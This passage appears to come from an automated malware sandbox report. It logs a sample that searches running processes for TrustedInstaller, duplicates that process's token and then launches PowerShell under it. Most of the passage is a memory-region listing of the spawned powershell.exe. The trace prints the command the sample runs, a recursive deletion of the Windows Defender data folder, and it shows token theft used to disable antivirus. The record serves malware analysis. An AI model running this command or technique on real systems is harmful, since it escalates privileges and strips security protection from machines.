(_String1="spcwin.exe", _String2="TrustedInstaller.exe") returned -1 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="spgagentservice.exe", _String2="TrustedInstaller.exe") returned -1 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows NT\\utg2.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="utg2.exe", _String2="TrustedInstaller.exe") returned 1 [0245.754] _wcsicmp (_String1="C:\\Program Files\\DVD Maker\\heremanager.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="heremanager.exe", _String2="TrustedInstaller.exe") returned -12 [0245.754] _wcsicmp (_String1="C:\\Program Files\\Windows NT\\second.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="second.exe", _String2="TrustedInstaller.exe") returned -1 [0245.754] _wcsicmp (_String1="C:\\Program Files\\MSBuild\\sign.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="sign.exe", _String2="TrustedInstaller.exe") returned -1 [0245.754] _wcsicmp (_String1="C:\\Program Files (x86)\\Internet Explorer\\than near.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="than near.exe", _String2="TrustedInstaller.exe") returned -10 [0245.754] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="history-oh.exe", _String2="TrustedInstaller.exe") returned -12 [0245.754] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="3dftp.exe", _String2="TrustedInstaller.exe") returned -65 [0245.754] _wcsicmp (_String1="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="absolutetelnet.exe", _String2="TrustedInstaller.exe") returned -19 [0245.754] _wcsicmp (_String1="C:\\Program Files\\WindowsPowerShell\\alftp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="alftp.exe", _String2="TrustedInstaller.exe") returned -19 [0245.754] _wcsicmp (_String1="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="WmiPrvSE.exe", _String2="TrustedInstaller.exe") returned 3 [0245.754] _wcsicmp (_String1="C:\\Windows\\System32\\audiodg.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="audiodg.exe", _String2="TrustedInstaller.exe") returned -19 [0245.754] _wcsicmp (_String1="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", _String2="TrustedInstaller.exe") returned -15 [0245.754] _wcsicmp (_String1="C:\\Windows\\servicing\\TrustedInstaller.exe", _String2="TrustedInstaller.exe") returned -17 [0245.754] _wcsicmp (_String1="TrustedInstaller.exe", _String2="TrustedInstaller.exe") returned 0 [0245.754] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0xd7c) returned 0x104 [0245.754] OpenProcessToken (in: ProcessHandle=0x104, DesiredAccess=0x2, TokenHandle=0x1795d8 | out: TokenHandle=0x1795d8*=0xfc) returned 1 [0245.755] DuplicateTokenEx (in: hExistingToken=0xfc, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x1795c8 | out: phNewToken=0x1795c8*=0x100) returned 1 [0245.755] CloseHandle (hObject=0xfc) returned 1 [0245.755] CloseHandle (hObject=0x104) returned 1 [0245.755] FreeLibrary (hLibModule=0x75800000) returned 1 [0245.755] free (_Block=0x1c9a760) [0245.755] CreateProcessWithTokenW (in: hToken=0x100, dwLogonFlags=0x0, lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse", dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpStartupInfo=0x18e128*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e1b0 | out: lpCommandLine="\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse", lpProcessInformation=0x18e1b0*(hProcess=0x10c, hThread=0x110, dwProcessId=0x7f8, dwThreadId=0x134)) returned 1 [0246.229] CloseHandle (hObject=0x100) returned 1 [0246.229] RevertToSelf () returned 1 [0246.229] FreeLibrary (hLibModule=0x75ca0000) returned 1 [0246.229] free (_Block=0x552b80) [0246.229] free (_Block=0x553fb8) [0246.229] free (_Block=0x5528f0) [0246.229] free (_Block=0x0) [0246.229] free (_Block=0x0) [0246.229] exit (_Code=0) [0246.229] free (_Block=0x5543c0) Thread: id = 461 os_tid = 0x754 Process: id = "27" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x71d3c000" os_pid = "0x7f8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "26" os_parent_pid = "0xe0c" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse" cur_dir = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\TrustedInstaller" [0xe], "NT AUTHORITY\\Logon Session 00000000:000678a1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 5227 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5228 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5229 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5230 start_va = 0x1b0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5231 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5232 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5233 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5234 start_va = 0x13f420000 end_va = 0x13f48ffff monitored = 0 entry_point = 0x13f427c50 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe") Region: id = 5235 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5236 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5237 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5238 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5239 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 5240 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5241 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5242 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5243 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5244 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5245 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 5246 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5247 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5248 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5249 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5250 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5251 start_va = 0x7fefa980000 end_va = 0x7fefa998fff monitored = 0 entry_point = 0x7fefa9811a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 5252 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5253 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5254 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5255 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5256 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5257 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5258 start_va = 0x7fef86e0000 end_va = 0x7fef874efff monitored = 1 entry_point = 0x7fef86e1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5260 start_va = 0x430000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 5261 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 5262 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5263 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 5264 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 5265 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5266 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5267 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5268 start_va = 0x5f0000 end_va = 0x770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 5269 start_va = 0x780000 end_va = 0x1b7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 5270 start_va = 0xc0000 end_va = 0xc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 5475 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5476 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5477 start_va = 0x1b80000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 5478 start_va = 0x1b80000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 5479 start_va = 0x1cf0000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 5480 start_va = 0x1d00000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 5481 start_va = 0x7fef1500000 end_va = 0x7fef15a8fff monitored = 1 entry_point = 0x7fef1501010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5484 start_va = 0x7fef98f0000 end_va = 0x7fef98f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5485 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5486 start_va = 0x7fefbf70000 end_va = 0x7fefbf7bfff monitored = 0 entry_point = 0x7fefbf71064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5487 start_va = 0x7feee380000 end_va = 0x7feeee46fff monitored = 1 entry_point = 0x7feee3863a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5489 start_va = 0x7feeee50000 end_va = 0x7feef916fff monitored = 1 entry_point = 0x7feeee563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5490 start_va = 0x7feee380000 end_va = 0x7feeee46fff monitored = 1 entry_point = 0x7feee3863a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5491 start_va = 0x7fef7850000 end_va = 0x7fef7865fff monitored = 0 entry_point = 0x7fef785c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5496 start_va = 0x7fef1440000 end_va = 0x7fef14fcfff monitored = 0 entry_point = 0x7fef14c7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5498 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 5499 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 5500 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5501 start_va = 0x7fe8ed20000 end_va = 0x7fe8ed2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ed20000" filename = "" Region: id = 5502 start_va = 0x7fe8ed30000 end_va = 0x7fe8ed3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ed30000" filename = "" Region: id = 5503 start_va = 0x7fe8ed40000 end_va = 0x7fe8edcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ed40000" filename = "" Region: id = 5504 start_va = 0x7fe8edd0000 end_va = 0x7fe8ee3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8edd0000" filename = "" Region: id = 5505 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5506 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5507 start_va = 0x1d00000 end_va = 0x1e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 5508 start_va = 0x1ed0000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 5509 start_va = 0x1f50000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 5510 start_va = 0x2100000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 5511 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5512 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 5513 start_va = 0x2180000 end_va = 0x1a17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 5526 start_va = 0x77020000 end_va = 0x77026fff monitored = 0 entry_point = 0x7702106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 5527 start_va = 0x140000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 5528 start_va = 0x1a180000 end_va = 0x1a280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a180000" filename = "" Region: id = 5529 start_va = 0x1a2a0000 end_va = 0x1a31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a2a0000" filename = "" Region: id = 5530 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5534 start_va = 0x1e50000 end_va = 0x1ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5535 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 5542 start_va = 0x1a320000 end_va = 0x1a5eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5604 start_va = 0x7feecd80000 end_va = 0x7feee37cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 5687 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 5688 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 5689 start_va = 0x7fe8ee40000 end_va = 0x7fe8eebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ee40000" filename = "" Region: id = 5692 start_va = 0x1d00000 end_va = 0x1d7cfff monitored = 0 entry_point = 0x1d0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5693 start_va = 0x1dd0000 end_va = 0x1e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 5694 start_va = 0x1d00000 end_va = 0x1d7cfff monitored = 0 entry_point = 0x1d0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5695 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5696 start_va = 0x1a5f0000 end_va = 0x1a6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5f0000" filename = "" Region: id = 5698 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 5737 start_va = 0x7fe8eec0000 end_va = 0x7fe8eecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8eec0000" filename = "" Region: id = 5740 start_va = 0x7feec110000 end_va = 0x7feecd7efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 5741 start_va = 0x7feeeea0000 end_va = 0x7feef914fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\0d59b0e237d7519417de10cd84bda4e7\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\0d59b0e237d7519417de10cd84bda4e7\\system.core.ni.dll") Region: id = 5742 start_va = 0x7fef1390000 end_va = 0x7fef143afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pb378ec07#\\a7190960e0adea59bf5345ecca5b2ad4\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\microsoft.pb378ec07#\\a7190960e0adea59bf5345ecca5b2ad4\\microsoft.powershell.consolehost.ni.dll") Region: id = 5743 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5744 start_va = 0x1c80000 end_va = 0x1cc4fff monitored = 0 entry_point = 0x1c81064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5745 start_va = 0x1c80000 end_va = 0x1cc4fff monitored = 0 entry_point = 0x1c81064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5746 start_va = 0x1c80000 end_va = 0x1cc4fff monitored = 0 entry_point = 0x1c81064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5747 start_va = 0x1c80000 end_va = 0x1cc4fff monitored = 0 entry_point = 0x1c81064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5748 start_va = 0x1c80000 end_va = 0x1cc4fff monitored = 0 entry_point = 0x1c81064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5749 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5750 start_va = 0x7fee9f60000 end_va = 0x7feec102fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\8f17474bab712f3ea25af71e0b332d3c\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.manaa57fc8cc#\\8f17474bab712f3ea25af71e0b332d3c\\system.management.automation.ni.dll") Region: id = 5751 start_va = 0x1c80000 end_va = 0x1ce1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 5752 start_va = 0x1d00000 end_va = 0x1d3ffff monitored = 1 entry_point = 0x0 region_type = private name = 